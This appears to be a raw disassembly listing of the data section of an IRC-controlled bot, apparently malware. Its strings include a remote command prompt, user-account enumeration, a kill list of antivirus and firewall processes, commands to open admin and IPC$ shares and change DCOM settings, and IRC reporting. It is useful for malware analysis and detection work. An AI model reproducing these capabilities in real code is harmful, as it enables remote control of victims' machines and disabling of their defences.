sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 945B076Eh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) 